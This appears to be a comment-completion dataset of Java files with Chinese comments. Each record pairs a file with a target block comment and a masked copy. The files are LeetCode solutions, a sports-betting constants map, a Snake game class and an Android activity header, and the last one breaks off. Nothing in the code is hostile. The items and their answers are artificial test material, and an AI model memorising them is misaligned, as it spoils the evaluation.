package LeetCode.L948; import java.util.Arrays; /** * 你的初始 能量 为 power,初始 分数 为 0,只有一包令牌以整数数组 tokens 给出。其中 tokens[i] 是第 i 个令牌的值(下标从 0 开始)。 * * 你的目标是通过有策略地使用这些令牌以 最大化 总 分数。在一次行动中,你可以用两种方式中的一种来使用一个 未被使用的 令牌(但不是对同一个令牌使用两种方式): * * 朝上:如果你当前 至少 有 tokens[i] 点 能量 ,可以使用令牌 i ,失去 tokens[i] 点 能量 ,并得到 1 分 。 * 朝下:如果你当前至少有 1 分 ,可以使用令牌 i ,获得 tokens[i] 点 能量 ,并失去 1 分 。 * 在使用 任意 数量的令牌后,返回我们可以得到的最大 分数 。 * * * * 示例 1: * * 输入:tokens = [100], power = 50 * 输出:0 * 解释:因为你的初始分数为 0,无法使令牌朝下。你也不能使令牌朝上因为你的能量(50)比 tokens[0] 少(100)。 * 示例 2: * * 输入:tokens = [200,100], power = 150 * 输出:1 * 解释:使令牌 1 正面朝上,能量变为 50,分数变为 1 。 * 不必使用令牌 0,因为你无法使用它来提高分数。可得到的最大分数是 1。 * 示例 3: * * 输入:tokens = [100,200,300,400], power = 200 * 输出:2 * 解释:按下面顺序使用令牌可以得到 2 分: * 1. 令牌 0 (100)正面朝上,能量变为 100 ,分数变为 1 * 2. 令牌 3 (400)正面朝下,能量变为 500 ,分数变为 0 * 3. 令牌 1 (200)正面朝上,能量变为 300 ,分数变为 1 * 4. 令牌 2 (300)正面朝上,能量变为 0 ,分数变为 2 * * 可得的最大分数是 2。 * * * 提示: * * - 0 <= tokens.length <= 1000 * - 0 <= tokens[i], power < 10^4 */ public class Main { public static void main(String[] args) { Solution s = new Solution(); System.out.println("s.bagOfTokensScore(new int[]{100}, 50) = " + s.bagOfTokensScore(new int[]{100}, 50)); System.out.println("s.bagOfTokensScore(new int[]{200, 100}, 150) = " + s.bagOfTokensScore(new int[]{200, 100}, 150)); System.out.println("s.bagOfTokensScore(new int[]{100, 200, 300, 400}, 200) = " + s.bagOfTokensScore(new int[]{100, 200, 300, 400}, 200)); System.out.println("s.bagOfTokensScore(new int[]{6, 0, 39, 52, 45, 49, 59, 68, 42, 37}, 99) = " + s.bagOfTokensScore(new int[]{6, 0, 39, 52, 45, 49, 59, 68, 42, 37}, 99)); } } class Solution { public int bagOfTokensScore(int[] tokens, int power) { if (tokens.length == 0){ return 0; } Arrays.sort(tokens); if (tokens[0] > power){ return 0; } int mscore = 0; int l = 0, r = tokens.length - 1; while (l <= r){ while (l <= r && power - tokens[l] >= 0){ power -= tokens[l]; l++; } mscore = Math.max(mscore, l + r - tokens.length + 1); power += tokens[r]; r--; } return mscore; } }
DoudiNCer/LeetCodeAC
src/LeetCode/L948/Main.java
1,180
/** * 你的初始 能量 为 power,初始 分数 为 0,只有一包令牌以整数数组 tokens 给出。其中 tokens[i] 是第 i 个令牌的值(下标从 0 开始)。 * * 你的目标是通过有策略地使用这些令牌以 最大化 总 分数。在一次行动中,你可以用两种方式中的一种来使用一个 未被使用的 令牌(但不是对同一个令牌使用两种方式): * * 朝上:如果你当前 至少 有 tokens[i] 点 能量 ,可以使用令牌 i ,失去 tokens[i] 点 能量 ,并得到 1 分 。 * 朝下:如果你当前至少有 1 分 ,可以使用令牌 i ,获得 tokens[i] 点 能量 ,并失去 1 分 。 * 在使用 任意 数量的令牌后,返回我们可以得到的最大 分数 。 * * * * 示例 1: * * 输入:tokens = [100], power = 50 * 输出:0 * 解释:因为你的初始分数为 0,无法使令牌朝下。你也不能使令牌朝上因为你的能量(50)比 tokens[0] 少(100)。 * 示例 2: * * 输入:tokens = [200,100], power = 150 * 输出:1 * 解释:使令牌 1 正面朝上,能量变为 50,分数变为 1 。 * 不必使用令牌 0,因为你无法使用它来提高分数。可得到的最大分数是 1。 * 示例 3: * * 输入:tokens = [100,200,300,400], power = 200 * 输出:2 * 解释:按下面顺序使用令牌可以得到 2 分: * 1. 令牌 0 (100)正面朝上,能量变为 100 ,分数变为 1 * 2. 令牌 3 (400)正面朝下,能量变为 500 ,分数变为 0 * 3. 令牌 1 (200)正面朝上,能量变为 300 ,分数变为 1 * 4. 令牌 2 (300)正面朝上,能量变为 0 ,分数变为 2 * * 可得的最大分数是 2。 * * * 提示: * * - 0 <= tokens.length <= 1000 * - 0 <= tokens[i], power < 10^4 */
block_comment
zh-cn
package LeetCode.L948; import java.util.Arrays; /** * 你的初 <SUF>*/ public class Main { public static void main(String[] args) { Solution s = new Solution(); System.out.println("s.bagOfTokensScore(new int[]{100}, 50) = " + s.bagOfTokensScore(new int[]{100}, 50)); System.out.println("s.bagOfTokensScore(new int[]{200, 100}, 150) = " + s.bagOfTokensScore(new int[]{200, 100}, 150)); System.out.println("s.bagOfTokensScore(new int[]{100, 200, 300, 400}, 200) = " + s.bagOfTokensScore(new int[]{100, 200, 300, 400}, 200)); System.out.println("s.bagOfTokensScore(new int[]{6, 0, 39, 52, 45, 49, 59, 68, 42, 37}, 99) = " + s.bagOfTokensScore(new int[]{6, 0, 39, 52, 45, 49, 59, 68, 42, 37}, 99)); } } class Solution { public int bagOfTokensScore(int[] tokens, int power) { if (tokens.length == 0){ return 0; } Arrays.sort(tokens); if (tokens[0] > power){ return 0; } int mscore = 0; int l = 0, r = tokens.length - 1; while (l <= r){ while (l <= r && power - tokens[l] >= 0){ power -= tokens[l]; l++; } mscore = Math.max(mscore, l + r - tokens.length + 1); power += tokens[r]; r--; } return mscore; } }
1
61989_3
package com.maven.util; import java.util.HashMap; import java.util.Map; import org.apache.commons.lang.StringUtils; /** * 沙巴体育 * @author klay * */ public class IBCUtils { /**********初始化运动类型************/ public static Map<String, String> __SportType = new HashMap<String, String>(){{ this.put("1", "足球"); this.put("2", "篮球"); this.put("3", "足球"); this.put("4", "冰上曲棍球"); this.put("5", "网球"); this.put("6", "排球"); this.put("7", "台球"); this.put("8", "棒球"); this.put("9", "羽毛球"); this.put("10", "高尔夫"); this.put("11", "赛车"); this.put("12", "游泳"); this.put("13", "政治"); this.put("14", "水球"); this.put("15", "跳水"); this.put("16", "拳击"); this.put("17", "射箭"); this.put("18", "乒乓球"); this.put("19", "举重"); this.put("20", "皮划艇"); this.put("21", "体操"); this.put("22", "田径"); this.put("23", "马术"); this.put("24", "手球"); this.put("25", "飞镖"); this.put("26", "橄榄球"); this.put("27", "板球"); this.put("28", "曲棍球"); this.put("29", "冬季运动"); this.put("30", "壁球"); this.put("31", "娱乐"); this.put("32", "网前球"); this.put("33", "骑自行车"); this.put("41", "铁人三项 "); this.put("42", "摔跤"); this.put("43", "电子竞技"); this.put("44", "泰拳"); this.put("50", "板球游戏"); this.put("99", "其他运动"); this.put("99MP", "混合足球Mix Parlay"); this.put("151", "赛马"); this.put("152", "灰狗 "); this.put("153", "马具 "); this.put("154", "赛马固定赔率 "); this.put("161", "数字游戏 "); this.put("180", "虚拟足球 "); this.put("181", "虚拟赛马 "); this.put("182", "虚拟灵狮"); this.put("183", "虚拟赛道"); this.put("184", "虚拟F1"); this.put("185", "虚拟自行车"); this.put("186", "虚拟网球"); this.put("202", "基诺"); this.put("251", "赌场"); this.put("208", "RNG游戏"); this.put("209", "迷你游戏"); this.put("210", "移动"); }}; /**********初始化赔率类型************/ public static Map<String, String> __OddsType = new HashMap<String, String>(){{ this.put("1", "马来人的赔率"); this.put("2", "香港赔率"); this.put("3", "十进制的赔率"); this.put("4", "印度赔率"); this.put("5", "美国赔率"); }}; /**********初始化状态数据************/ public static Map<String, String> __TicketStatus = new HashMap<String, String>(){{ this.put("waiting", "(等)"); this.put("running", "(进行 中)"); this.put("won", "(赢) "); this.put("lose", "(输)"); this.put("draw", "(平 局) "); this.put("reject", "(拒 绝) "); this.put("refund", "(退 钱) "); this.put("void", "(取 消) "); this.put("half won", "(上半场赢)"); this.put("half lose", "(上半场输)"); }}; }
Douglas890116/Atom
src/ecrm-s/src/main/java/com/maven/util/IBCUtils.java
1,229
/**********初始化状态数据************/
block_comment
zh-cn
package com.maven.util; import java.util.HashMap; import java.util.Map; import org.apache.commons.lang.StringUtils; /** * 沙巴体育 * @author klay * */ public class IBCUtils { /**********初始化运动类型************/ public static Map<String, String> __SportType = new HashMap<String, String>(){{ this.put("1", "足球"); this.put("2", "篮球"); this.put("3", "足球"); this.put("4", "冰上曲棍球"); this.put("5", "网球"); this.put("6", "排球"); this.put("7", "台球"); this.put("8", "棒球"); this.put("9", "羽毛球"); this.put("10", "高尔夫"); this.put("11", "赛车"); this.put("12", "游泳"); this.put("13", "政治"); this.put("14", "水球"); this.put("15", "跳水"); this.put("16", "拳击"); this.put("17", "射箭"); this.put("18", "乒乓球"); this.put("19", "举重"); this.put("20", "皮划艇"); this.put("21", "体操"); this.put("22", "田径"); this.put("23", "马术"); this.put("24", "手球"); this.put("25", "飞镖"); this.put("26", "橄榄球"); this.put("27", "板球"); this.put("28", "曲棍球"); this.put("29", "冬季运动"); this.put("30", "壁球"); this.put("31", "娱乐"); this.put("32", "网前球"); this.put("33", "骑自行车"); this.put("41", "铁人三项 "); this.put("42", "摔跤"); this.put("43", "电子竞技"); this.put("44", "泰拳"); this.put("50", "板球游戏"); this.put("99", "其他运动"); this.put("99MP", "混合足球Mix Parlay"); this.put("151", "赛马"); this.put("152", "灰狗 "); this.put("153", "马具 "); this.put("154", "赛马固定赔率 "); this.put("161", "数字游戏 "); this.put("180", "虚拟足球 "); this.put("181", "虚拟赛马 "); this.put("182", "虚拟灵狮"); this.put("183", "虚拟赛道"); this.put("184", "虚拟F1"); this.put("185", "虚拟自行车"); this.put("186", "虚拟网球"); this.put("202", "基诺"); this.put("251", "赌场"); this.put("208", "RNG游戏"); this.put("209", "迷你游戏"); this.put("210", "移动"); }}; /**********初始化赔率类型************/ public static Map<String, String> __OddsType = new HashMap<String, String>(){{ this.put("1", "马来人的赔率"); this.put("2", "香港赔率"); this.put("3", "十进制的赔率"); this.put("4", "印度赔率"); this.put("5", "美国赔率"); }}; /**********初始化 <SUF>*/ public static Map<String, String> __TicketStatus = new HashMap<String, String>(){{ this.put("waiting", "(等)"); this.put("running", "(进行 中)"); this.put("won", "(赢) "); this.put("lose", "(输)"); this.put("draw", "(平 局) "); this.put("reject", "(拒 绝) "); this.put("refund", "(退 钱) "); this.put("void", "(取 消) "); this.put("half won", "(上半场赢)"); this.put("half lose", "(上半场输)"); }}; }
1
15951_0
package com.kaha.dragon.dragon.entity; /** * <b> * <p> * 《樱桃小丸子》《彭彭丁满历险记》《阿拉丁》《神厨小福贵》《奇奇颗颗历险记》《花枝的故事》 * 《波波安》《下课后》《成龙历险记》《飞天德》《犬夜叉》《铁胆火车侠》《魔法咪路咪路》 * 《101忠狗》《天上掉下个猪八戒》《宝莲灯》《光能使者》《变形金刚》《忍者神龟》《猫和老鼠》 * 《七龙珠》《多啦A梦》《蜡笔小新》《神奇宝贝》《数码宝贝》《铁壁阿童木》《四驱兄弟》《圣斗士星矢》 * 《灌篮高手》《双子星公主》《弹珠警察》《聪明的一休》《山林小猎人》《铁甲小宝》《龙猫》 * 《天空之城》《起风了》《幽灵公主》《小熊维尼》《飞天小女警》《狮子王》《大力水手》 * 《史努比》《海绵宝宝》《星际宝贝》《加菲猫》《黑猫警长》《葫芦娃》《虹猫蓝兔七侠传》 * 《邋遢大王历险记》《海尔兄弟》《中华小子》《围棋少年》《大头儿子小头爸爸》《大耳朵图图》 * 《东方神娃》《猪猪侠》《大唐风云》《天降小子》《千千问》《憨八龟的故事》《哪吒传奇》 * 《天书奇谭》《三个和尚》《嗨皮父子》《小鲤鱼历险记》《饮茶之功夫学园》《电击小子》 * 《淘气包马小跳》《三毛流浪记》《小蝌蚪找妈妈》《小卓玛》《蓝猫龙骑团》《龙神勇士之恐龙宝贝》 * 《神兵小将》《天眼》《大英雄狄青》《福五鼠之三十六计》《小牛向前冲》《小虎还乡》《魔豆传奇》 * 《小贝流浪记》《西游记》《火影忍者》<阿凡提》《大力士海格力斯》《铁甲小宝》《大耳朵图图》 * 《海尔兄弟》《加菲猫的幸福生活》《毛儿山的小鬼子》《马丁的早晨》《快乐东西》《托马斯和朋友们》 * 《东方神娃》 * * </p> * <p> * 活在自己的世界里 * </b> * * @author Darcy * @Date 2019/1/8 * @package com.kaha.dragon.dragon.entity * @Desciption */ public class Mine { private String des; private String title; private String content; }
DragonCaat/Dragon
app/src/main/java/com/kaha/dragon/dragon/entity/Mine.java
922
/** * <b> * <p> * 《樱桃小丸子》《彭彭丁满历险记》《阿拉丁》《神厨小福贵》《奇奇颗颗历险记》《花枝的故事》 * 《波波安》《下课后》《成龙历险记》《飞天德》《犬夜叉》《铁胆火车侠》《魔法咪路咪路》 * 《101忠狗》《天上掉下个猪八戒》《宝莲灯》《光能使者》《变形金刚》《忍者神龟》《猫和老鼠》 * 《七龙珠》《多啦A梦》《蜡笔小新》《神奇宝贝》《数码宝贝》《铁壁阿童木》《四驱兄弟》《圣斗士星矢》 * 《灌篮高手》《双子星公主》《弹珠警察》《聪明的一休》《山林小猎人》《铁甲小宝》《龙猫》 * 《天空之城》《起风了》《幽灵公主》《小熊维尼》《飞天小女警》《狮子王》《大力水手》 * 《史努比》《海绵宝宝》《星际宝贝》《加菲猫》《黑猫警长》《葫芦娃》《虹猫蓝兔七侠传》 * 《邋遢大王历险记》《海尔兄弟》《中华小子》《围棋少年》《大头儿子小头爸爸》《大耳朵图图》 * 《东方神娃》《猪猪侠》《大唐风云》《天降小子》《千千问》《憨八龟的故事》《哪吒传奇》 * 《天书奇谭》《三个和尚》《嗨皮父子》《小鲤鱼历险记》《饮茶之功夫学园》《电击小子》 * 《淘气包马小跳》《三毛流浪记》《小蝌蚪找妈妈》《小卓玛》《蓝猫龙骑团》《龙神勇士之恐龙宝贝》 * 《神兵小将》《天眼》《大英雄狄青》《福五鼠之三十六计》《小牛向前冲》《小虎还乡》《魔豆传奇》 * 《小贝流浪记》《西游记》《火影忍者》<阿凡提》《大力士海格力斯》《铁甲小宝》《大耳朵图图》 * 《海尔兄弟》《加菲猫的幸福生活》《毛儿山的小鬼子》《马丁的早晨》《快乐东西》《托马斯和朋友们》 * 《东方神娃》 * * </p> * <p> * 活在自己的世界里 * </b> * * @author Darcy * @Date 2019/1/8 * @package com.kaha.dragon.dragon.entity * @Desciption */
block_comment
zh-cn
package com.kaha.dragon.dragon.entity; /** * <b> <SUF>*/ public class Mine { private String des; private String title; private String content; }
1
15880_24
package AI.Mod; import java.util.ArrayList; import java.util.HashSet; import java.util.LinkedList; import java.util.Queue; import java.util.ArrayList; import java.util.HashSet; import java.util.LinkedList; import java.util.Queue; public class Snake { /** * 计数器防死循环的 */ public int c=0; /** * 蛇身大小 */ public final static int size =10; /** * 地图大小 */ public final static int map_size=150; /** * 蛇头 */ private Node first; /** * 蛇的尾巴,实际是尾巴走的上一个节点 */ private Node tail; /** * 蛇尾 */ private Node last; /** * 蛇的数据结构 */ private ArrayList<Node> s=new ArrayList<Node>(); /** * 地图上已有蛇的节点,蛇的String存储 */ private HashSet<String> map=new HashSet<String>(); /** * 方向 */ private int dir;// 8 6 2 4 上 右 下 左 /** * 食物 */ private Node food; public Snake(){ } public Snake(Node first,Node last,Node food,Node tail){ this.first=first; this.last=last; this.food=food; this.tail=tail; } /** * 把n添加到s中 * @param n */ private void add_Node(Node n){ s.add(0, n); first=s.get(0); //如果添加的节点不是食物,去掉尾巴 if(!n.toString().equals(food.toString())){ tail=last;//记录尾巴 s.remove(last); last=s.get(s.size()-1); }else{//如果是,随机食物, food=RandomFood(); } } /** * 移动 */ public void move() { if(dir==8){ Node n=new Node(first.getX(),first.getY()-10); add_Node(n); } if(dir==6){ Node n=new Node(first.getX()+10,first.getY()); add_Node(n); } if(dir==2){ Node n=new Node(first.getX(),first.getY()+10); add_Node(n); } if(dir==4){ Node n=new Node(first.getX()-10,first.getY()); add_Node(n); } updataMap(s); } /** * 可以设置方向的move * @param dir */ public void move(int dir){ this.dir=dir; move(); } /** * 判断dir方向能不能走 * * @param dir * @return */ public boolean canMove(int dir){ if(dir==8){ int X=first.getX(); int Y=first.getY()-10; if(Y<10||map.contains(X+"-"+Y)){ return false; }else return true; } if(dir==6){ int X=first.getX()+10; int Y=first.getY(); if(X>Snake.map_size||map.contains(X+"-"+Y)){ return false; }else return true; } if(dir==2){ int X=first.getX(); int Y=first.getY()+10; if(Y>Snake.map_size||map.contains(X+"-"+Y)){ return false; }else return true; } if(dir==4){ int X=first.getX()-10; int Y=first.getY(); if(X<10||map.contains(X+"-"+Y)){ return false; }else return true; } return false; } /** * String转Node * @param s * @return */ public Node StringToNode(String s){ String []str=s.split("-"); int x = Integer.parseInt(str[0]); int y = Integer.parseInt(str[1]); return new Node(x,y); } /** * Node转String,突然想起可以直接写个toString。。 * @param n * @return */ // public String NodeToString(Node n){ // return n.getX()+"-"+n.getY(); // } /** * 更新地图上访问过的位置 * @param s */ public void updataMap(ArrayList<Node> s){ map.clear();//先移除旧的站位点 for(Node n:s){ map.add(n.toString()); } } /** * 食物的随机出现 */ public Node RandomFood() { c=0; while(true){ int x = 0,y; x = Snake.size*(int) (Math.random() * Snake.map_size/Snake.size)+10; y = Snake.size*(int) (Math.random() * Snake.map_size/Snake.size)+10; Node n=new Node(x,y); //食物不能出现在蛇身体,s.contains居然检查不到Node, //突然想到是不是Node类没重写equals方法。。 if(!s.contains(n)){ return n; } } } /** * * @return 蛇长 */ public int getLen() { return s.size(); } /** * @return 尾巴lsat的后一个节点 */ public Node getTail() { return tail; } public void setTail(Node tail) { this.tail = tail; } public HashSet<String> getMap() { return map; } public Node getFirst() { return first; } public Node getLast() { return last; } public ArrayList<Node> getS() { return s; } public void setFirst(Node first) { this.first = first; } public void setLast(Node last) { this.last = last; } public void setS(ArrayList<Node> s) { this.s = s; } public void setMap(HashSet<String> map) { this.map = map; } public void setFood(Node food) { this.food = food; } public int getDir() { return dir; } public void setDir(int dir) { this.dir = dir; } public Node getFood() { return food; } }
DragonZhang123/SnakeAI
Snake.java
1,761
/** * 食物的随机出现 */
block_comment
zh-cn
package AI.Mod; import java.util.ArrayList; import java.util.HashSet; import java.util.LinkedList; import java.util.Queue; import java.util.ArrayList; import java.util.HashSet; import java.util.LinkedList; import java.util.Queue; public class Snake { /** * 计数器防死循环的 */ public int c=0; /** * 蛇身大小 */ public final static int size =10; /** * 地图大小 */ public final static int map_size=150; /** * 蛇头 */ private Node first; /** * 蛇的尾巴,实际是尾巴走的上一个节点 */ private Node tail; /** * 蛇尾 */ private Node last; /** * 蛇的数据结构 */ private ArrayList<Node> s=new ArrayList<Node>(); /** * 地图上已有蛇的节点,蛇的String存储 */ private HashSet<String> map=new HashSet<String>(); /** * 方向 */ private int dir;// 8 6 2 4 上 右 下 左 /** * 食物 */ private Node food; public Snake(){ } public Snake(Node first,Node last,Node food,Node tail){ this.first=first; this.last=last; this.food=food; this.tail=tail; } /** * 把n添加到s中 * @param n */ private void add_Node(Node n){ s.add(0, n); first=s.get(0); //如果添加的节点不是食物,去掉尾巴 if(!n.toString().equals(food.toString())){ tail=last;//记录尾巴 s.remove(last); last=s.get(s.size()-1); }else{//如果是,随机食物, food=RandomFood(); } } /** * 移动 */ public void move() { if(dir==8){ Node n=new Node(first.getX(),first.getY()-10); add_Node(n); } if(dir==6){ Node n=new Node(first.getX()+10,first.getY()); add_Node(n); } if(dir==2){ Node n=new Node(first.getX(),first.getY()+10); add_Node(n); } if(dir==4){ Node n=new Node(first.getX()-10,first.getY()); add_Node(n); } updataMap(s); } /** * 可以设置方向的move * @param dir */ public void move(int dir){ this.dir=dir; move(); } /** * 判断dir方向能不能走 * * @param dir * @return */ public boolean canMove(int dir){ if(dir==8){ int X=first.getX(); int Y=first.getY()-10; if(Y<10||map.contains(X+"-"+Y)){ return false; }else return true; } if(dir==6){ int X=first.getX()+10; int Y=first.getY(); if(X>Snake.map_size||map.contains(X+"-"+Y)){ return false; }else return true; } if(dir==2){ int X=first.getX(); int Y=first.getY()+10; if(Y>Snake.map_size||map.contains(X+"-"+Y)){ return false; }else return true; } if(dir==4){ int X=first.getX()-10; int Y=first.getY(); if(X<10||map.contains(X+"-"+Y)){ return false; }else return true; } return false; } /** * String转Node * @param s * @return */ public Node StringToNode(String s){ String []str=s.split("-"); int x = Integer.parseInt(str[0]); int y = Integer.parseInt(str[1]); return new Node(x,y); } /** * Node转String,突然想起可以直接写个toString。。 * @param n * @return */ // public String NodeToString(Node n){ // return n.getX()+"-"+n.getY(); // } /** * 更新地图上访问过的位置 * @param s */ public void updataMap(ArrayList<Node> s){ map.clear();//先移除旧的站位点 for(Node n:s){ map.add(n.toString()); } } /** * 食物的 <SUF>*/ public Node RandomFood() { c=0; while(true){ int x = 0,y; x = Snake.size*(int) (Math.random() * Snake.map_size/Snake.size)+10; y = Snake.size*(int) (Math.random() * Snake.map_size/Snake.size)+10; Node n=new Node(x,y); //食物不能出现在蛇身体,s.contains居然检查不到Node, //突然想到是不是Node类没重写equals方法。。 if(!s.contains(n)){ return n; } } } /** * * @return 蛇长 */ public int getLen() { return s.size(); } /** * @return 尾巴lsat的后一个节点 */ public Node getTail() { return tail; } public void setTail(Node tail) { this.tail = tail; } public HashSet<String> getMap() { return map; } public Node getFirst() { return first; } public Node getLast() { return last; } public ArrayList<Node> getS() { return s; } public void setFirst(Node first) { this.first = first; } public void setLast(Node last) { this.last = last; } public void setS(ArrayList<Node> s) { this.s = s; } public void setMap(HashSet<String> map) { this.map = map; } public void setFood(Node food) { this.food = food; } public int getDir() { return dir; } public void setDir(int dir) { this.dir = dir; } public Node getFood() { return food; } }
1
65789_0
import java.util.*; /* NO1125 最小的必要团队 作为项目经理,你规划了一份需求的技能清单 req_skills,并打算从备选人员名单 people 中选出些人组成一个「必要团队」( 编号为 i 的备选人员 people[i] 含有一份该备选人员掌握的技能列表)。 所谓「必要团队」,就是在这个团队中,对于所需求的技能列表 req_skills 中列出的每项技能,团队中至少有一名成员已经掌握。 我们可以用每个人的编号来表示团队中的成员:例如,团队 team = [0, 1, 3] 表示掌握技能分别为 people[0],people[1],和 people[3] 的备选人员。 请你返回 任一 规模最小的必要团队,团队成员用人员编号表示。你可以按任意顺序返回答案,本题保证答案存在。 */ public class Solution1125 { List<Integer> ans = new ArrayList<>(); int[] peopleSkill; int[] employed; int aim; public int[] smallestSufficientTeam(String[] req_skills, List<List<String>> people) { peopleSkill = new int[people.size()]; employed = new int[people.size()]; aim = (int) Math.pow(2, req_skills.length) - 1; HashMap<String, Integer> hashMap = new HashMap<>(); for (int i = 0; i < req_skills.length; i++) { hashMap.put(req_skills[i], i); } // 构建每个人的技能值 for (int i = 0; i < people.size(); i++) { List<String> skills = people.get(i); for (String skill : skills) { if (hashMap.containsKey(skill)) { peopleSkill[i] = peopleSkill[i] | (1 << hashMap.get(skill)); } } } for (int i = 0; i < people.size() - 1; i++) { for (int j = i + 1; j < people.size(); j++) { if (people.get(i).containsAll(people.get(j))) { peopleSkill[j] = 0; } else if (people.get(j).containsAll(people.get(i))) { peopleSkill[i] = 0; } } } int x = 0; int y = 0; for (String req_skill : req_skills) { int index = -1; boolean flag = true; for (int j = 0; j < people.size(); j++) { if (people.get(j).contains(req_skill) && peopleSkill[j] != 0) { if (index == -1) index = j; else { flag = false; break; } } } if (flag && employed[index] == 0) { employed[index] = 1; y += 1; for (String s : people.get(index)) { x = x | (1 << hashMap.get(s)); } } } for (int i = 0; i < people.size(); i++) { if (peopleSkill[i] != 0) ans.add(i); } if (x != aim) seek(x, y); int[] ret = new int[ans.size()]; ans.sort((o1, o2) -> o1 - o2); for (int i = 0; i < ans.size(); i++) { ret[i] = ans.get(i); } return ret; } public void seek(int sum, int peopleNum) { if (peopleNum >= ans.size()) return; if (sum == aim) { ans.clear(); for (int i = 0; i < employed.length; i++) { if (employed[i] == 1) ans.add(i); } return; } for (int i = 0; i < peopleSkill.length; i++) { if (employed[i] == 0 && peopleSkill[i] != 0 && peopleNum < ans.size()) { employed[i] = 1; seek(sum | peopleSkill[i], peopleNum + 1); employed[i] = 0; } } } public static void main(String[] args) { String[] req = new String[]{"gvp", "jgpzzicdvgxlfix", "kqcrfwerywbwi", "jzukdzrfgvdbrunw", "k"}; List<String> p1 = Arrays.asList(); List<String> p2 = Arrays.asList(); List<String> p3 = Arrays.asList(); List<String> p4 = Arrays.asList(); List<String> p5 = Arrays.asList("jgpzzicdvgxlfix"); List<String> p6 = Arrays.asList("jgpzzicdvgxlfix", "k"); List<String> p7 = Arrays.asList("jgpzzicdvgxlfix", "kqcrfwerywbwi"); List<String> p8 = Arrays.asList("gvp"); List<String> p9 = Arrays.asList("jzukdzrfgvdbrunw"); List<String> p10 = Arrays.asList("gvp", "kqcrfwerywbwi"); List<List<String>> people = new ArrayList<>(); people.add(p1); people.add(p2); people.add(p3); people.add(p4); people.add(p5); people.add(p6); people.add(p7); people.add(p8); people.add(p9); people.add(p10); int[] ints = new Solution1125().smallestSufficientTeam(req, people); for (int anInt : ints) { System.out.println(anInt); } } }
DragonistYJ/Algorithm
Java/Leetcode/src/Solution1125.java
1,456
/* NO1125 最小的必要团队 作为项目经理,你规划了一份需求的技能清单 req_skills,并打算从备选人员名单 people 中选出些人组成一个「必要团队」( 编号为 i 的备选人员 people[i] 含有一份该备选人员掌握的技能列表)。 所谓「必要团队」,就是在这个团队中,对于所需求的技能列表 req_skills 中列出的每项技能,团队中至少有一名成员已经掌握。 我们可以用每个人的编号来表示团队中的成员:例如,团队 team = [0, 1, 3] 表示掌握技能分别为 people[0],people[1],和 people[3] 的备选人员。 请你返回 任一 规模最小的必要团队,团队成员用人员编号表示。你可以按任意顺序返回答案,本题保证答案存在。 */
block_comment
zh-cn
import java.util.*; /* NO1 <SUF>*/ public class Solution1125 { List<Integer> ans = new ArrayList<>(); int[] peopleSkill; int[] employed; int aim; public int[] smallestSufficientTeam(String[] req_skills, List<List<String>> people) { peopleSkill = new int[people.size()]; employed = new int[people.size()]; aim = (int) Math.pow(2, req_skills.length) - 1; HashMap<String, Integer> hashMap = new HashMap<>(); for (int i = 0; i < req_skills.length; i++) { hashMap.put(req_skills[i], i); } // 构建每个人的技能值 for (int i = 0; i < people.size(); i++) { List<String> skills = people.get(i); for (String skill : skills) { if (hashMap.containsKey(skill)) { peopleSkill[i] = peopleSkill[i] | (1 << hashMap.get(skill)); } } } for (int i = 0; i < people.size() - 1; i++) { for (int j = i + 1; j < people.size(); j++) { if (people.get(i).containsAll(people.get(j))) { peopleSkill[j] = 0; } else if (people.get(j).containsAll(people.get(i))) { peopleSkill[i] = 0; } } } int x = 0; int y = 0; for (String req_skill : req_skills) { int index = -1; boolean flag = true; for (int j = 0; j < people.size(); j++) { if (people.get(j).contains(req_skill) && peopleSkill[j] != 0) { if (index == -1) index = j; else { flag = false; break; } } } if (flag && employed[index] == 0) { employed[index] = 1; y += 1; for (String s : people.get(index)) { x = x | (1 << hashMap.get(s)); } } } for (int i = 0; i < people.size(); i++) { if (peopleSkill[i] != 0) ans.add(i); } if (x != aim) seek(x, y); int[] ret = new int[ans.size()]; ans.sort((o1, o2) -> o1 - o2); for (int i = 0; i < ans.size(); i++) { ret[i] = ans.get(i); } return ret; } public void seek(int sum, int peopleNum) { if (peopleNum >= ans.size()) return; if (sum == aim) { ans.clear(); for (int i = 0; i < employed.length; i++) { if (employed[i] == 1) ans.add(i); } return; } for (int i = 0; i < peopleSkill.length; i++) { if (employed[i] == 0 && peopleSkill[i] != 0 && peopleNum < ans.size()) { employed[i] = 1; seek(sum | peopleSkill[i], peopleNum + 1); employed[i] = 0; } } } public static void main(String[] args) { String[] req = new String[]{"gvp", "jgpzzicdvgxlfix", "kqcrfwerywbwi", "jzukdzrfgvdbrunw", "k"}; List<String> p1 = Arrays.asList(); List<String> p2 = Arrays.asList(); List<String> p3 = Arrays.asList(); List<String> p4 = Arrays.asList(); List<String> p5 = Arrays.asList("jgpzzicdvgxlfix"); List<String> p6 = Arrays.asList("jgpzzicdvgxlfix", "k"); List<String> p7 = Arrays.asList("jgpzzicdvgxlfix", "kqcrfwerywbwi"); List<String> p8 = Arrays.asList("gvp"); List<String> p9 = Arrays.asList("jzukdzrfgvdbrunw"); List<String> p10 = Arrays.asList("gvp", "kqcrfwerywbwi"); List<List<String>> people = new ArrayList<>(); people.add(p1); people.add(p2); people.add(p3); people.add(p4); people.add(p5); people.add(p6); people.add(p7); people.add(p8); people.add(p9); people.add(p10); int[] ints = new Solution1125().smallestSufficientTeam(req, people); for (int anInt : ints) { System.out.println(anInt); } } }
1
20625_17
/* Copyright (c) 2013-2016 EasyDarwin.ORG. All rights reserved. Github: https://github.com/EasyDarwin WEChat: EasyDarwin Website: http://www.easydarwin.org */ package org.easydarwin.blogdemos; import android.Manifest; import android.content.Intent; import android.content.pm.PackageManager; import android.graphics.ImageFormat; import android.hardware.Camera; import android.media.MediaCodec; import android.media.MediaFormat; import android.os.Bundle; import android.os.Environment; import android.os.Handler; import android.os.Message; import android.support.v4.app.ActivityCompat; import android.support.v4.content.ContextCompat; import android.support.v7.app.AppCompatActivity; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.view.Surface; import android.view.SurfaceHolder; import android.view.SurfaceView; import android.view.View; import android.view.WindowManager; import android.widget.Button; import android.widget.Toast; import org.easydarwin.blogdemos.hw.EncoderDebugger; import org.easydarwin.blogdemos.hw.NV21Convertor; import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.PrintWriter; import java.io.StringWriter; import java.net.Socket; import java.nio.ByteBuffer; import java.util.ArrayList; import java.util.Arrays; import java.util.Iterator; import java.util.LinkedList; import java.util.List; import static android.R.attr.data; /** * @CreadBy :DramaScript * @date 2017/8/25 */ public class MainActivity extends AppCompatActivity implements SurfaceHolder.Callback, 